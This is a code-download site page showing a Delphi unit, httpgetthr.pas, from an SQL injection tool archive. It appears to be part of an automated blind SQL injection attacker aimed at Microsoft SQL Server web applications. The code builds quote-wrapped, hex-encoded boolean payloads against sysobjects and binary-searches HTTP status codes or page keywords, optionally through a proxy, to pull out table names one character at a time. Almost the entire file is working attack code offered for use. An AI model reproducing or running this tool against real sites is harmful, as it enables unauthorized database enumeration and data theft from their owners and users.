⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 httpgetthr.pas

📁 sql inject HDSI3--delphi.rar
💻 PAS
字号:
unit httpgetThr;

interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,idhttp;

  type
  THTTPThread = class(TThread)
  function a(max_num:integer;iTop:integer;iPos:integer;URL:string;sContent:string;btype:integer):boolean;
  function b(min_num,max_num:integer;iTop:integer;iPos:integer;URL:string;sContent:string):integer;
  function GetURL(URL: string): integer;
  Function UnicodeToStr(intUnicode:integer):string;
  private
  procedure DocEnd(Sender : TObject);
  procedure UpdateThread;

  published

  procedure Execute; override;
  public

    FURL          : String; //URL
    FProxy        : String;
    Success       : Boolean;  //是否下载完毕
    min_num       : integer;   //最小值
    max_num       : integer;  //最大值
    iTop          : integer;  //表的位置
    iPos          : integer;  //字符的位置
    sContent      : string;   //页面内容
    complete      :boolean;
    sResult       :string;
  end;

implementation
uses
main_unit,CJdatabase_unit,define_unit;
//******************************************************************************
procedure THTTPThread.Execute;
var
    count:integer;
    ss:string;
    i:integer;
    label start;
begin
    try
   // sleep(1000);
    count:=0;
    complete:=false;
    Form_main.Edit3.Text:=inttostr(strtoint(Form_main.Edit3.Text)+1);
    start:
    i:=b(min_num,max_num,iTop,iPos,FURL,sContent);
    if i=0 then
      begin
        count:=count+1;
        if count<=5 then
        begin
          //sleep(1000);
          goto start;
        end;
        {if  application.Messagebox(pchar('暴力猜解字符时出现异常,是否重猜?'),pchar('警告'),MB_YESNO) = IDYES then
          goto start; }
      end;
    ss:=UnicodeToStr(i);
    sResult:=ss;
    complete:=true;
    Synchronize(UpdateThread);
    except
        //showmessage('线程异常');
    end;
end;
 //******************************************************************************

//******************************************************************************
procedure THTTPThread.DocEnd(Sender : TObject);
begin
   Success:=true;

end;
//******************************************************************************
//暴力破解用的函数
function THTTPThread.a(max_num:integer;iTop:integer;iPos:integer;URL:string;sContent:string;btype:integer):boolean;
var
  sql_str:string;
  encode_sql_str:string;
  icode:integer;
  content:string;
  label start;
begin
  result:=false;

  //if btype=3 then
  //begin
        sql_str:=' and (Select top 1 unicode(substring(name,'+inttostr(iPos)+',1)) from(Select top '+inttostr(iTop)+' id,name from ['+define_unit.FDbName+']..sysobjects where xtype=char(85)) T order by id desc) < '+inttostr(max_num);
        case CJdatabase_unit.Inject_methord of
            0 :
              begin
                Application.MessageBox(pchar('未知的注入方式,不能进行'),pchar('警告'),mb_ok);
                exit;
              end;
            1 :
               sql_str:=sql_str;
            2 :
              sql_str:=''' '+sql_str+' and ''''=''';
            3 :
              sql_str:='%'' '+sql_str+' and ''%''=''';
        end;
      //end; //end of begin
  //end;
  encode_sql_str:=define_unit.SQLINJECTIONUrlToHex(sql_str,0);
  if Form_main.CheckBox_keyword.Checked=true then
  begin
      content:=define_unit.GetURLContent(URL+encode_sql_str);
      if pos(trim(Form_main.Edit_keyword.Text),content)>0 then
          result:=true
      else
          result:=false;
  end
  else
    begin
        start:
        icode:=GetURL(URL+encode_sql_str);
        if icode=200 then
          result:=true
        else
          begin
          if icode= 500 then
              result:=false
          else
                begin
                  //sleep(1000);
                  goto start;
                end;
          end;
    end;

end;
//******************************************************************************
function THTTPThread.b(min_num,max_num:integer;iTop:integer;iPos:integer;URL:string;sContent:string):integer;
var
  i:integer;
  middle:integer;
begin
    result:=0;
    //判断是否是unicode
     if a(128,iTop,iPos,URL,sContent,3) then  //如果小于max,就继续缩小max的范围
     begin
          min_num:=32;
          max_num:=128
     end else
     begin
          min_num:=128;
          max_num:=65535;
     end;
    //Form_main.suiMemo_sqlinfo.Lines.Add('start 1 to ...');
     for i:=min_num to max_num do
     begin
        //sleep(1000);
        //结束扫描
        if Form_main.stop_table=true then
        begin
          result:=1;
          exit;
        end;
        if max_num-min_num<=2 then
        begin
            break;
        end;
        middle:=((max_num-min_num) div 2)+min_num;
        if a(middle,iTop,iPos,URL,sContent,3) then  //如果小于max,就继续缩小max的范围
        begin
          max_num:=middle;
        end
          else     //如果不小于max,就把min的范围扩大
            begin
              min_num:=middle;
            end;

     end;
     //Form_main.suiMemo_sqlinfo.Lines.Add('start 2 to ...');
     for i:=min_num+1 to max_num do
     begin
        //结束扫描
        if Form_main.stop_table=true then
        begin
          result:=1;
          exit;
        end;
        if a(i,iTop,iPos,URL,sContent,3) then
        begin
          result:=i-1;
          break;
        end;
     end ;

end;



function THTTPThread.GetURL(URL: string): integer;
   var
  IdHTTP: TIDHttp;
  ss: string;

begin

  try
    try
      IdHTTP := TIDHttp.Create(nil);
      if Form_main.proxy_check then
      begin
        IdHTTP.ProxyParams.ProxyServer:=form_main.str_Host;
        IdHTTP.ProxyParams.ProxyPort:=strtoint(form_main.str_Port);
        IdHTTP.ProxyParams.ProxyUsername:=form_main.str_Zh;
        IdHTTP.ProxyParams.ProxyPassword:=form_main.str_Mm;
      end;
      IdHTTP.HandleRedirects := true; //必须支持重定向否则可能出错
      IdHTTP.ReadTimeout := TimeOut; //超过这个时间则不再访问
      IdHTTP.Head(URL);
      except
     on E: Exception do
        //if Pos('10060', e.Message) > 0 then
        //Application.MessageBox(pchar('出现异常,操作终止!'+#10#13+E.Message),'提示',mb_ok+mb_iconinformation);
    end;
  finally
  Form_main.ProgressBar.Position:=0;
  Form_main.ProgressBar.Position:=30;
  Form_main.ProgressBar.Position:=60;
  Form_main.ProgressBar.Position:=100;
  result:=IdHTTP.ResponseCode;
  IdHTTP.Free;
  end;
end;

procedure THTTPThread.UpdateThread;
begin
    Form_main.Edit1.Text:=inttostr(strtoint(Form_main.Edit1.Text)+1);
end;


Function THTTPThread.UnicodeToStr(intUnicode:integer):string;
var
wStr: WideString;
begin
try
  SetLength(wStr, 1);
  wStr[1]:=WideChar(intUnicode);
  Result:=WidecharToString(pWideChar(wStr));
  except
  Result:='';
 end;
end;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -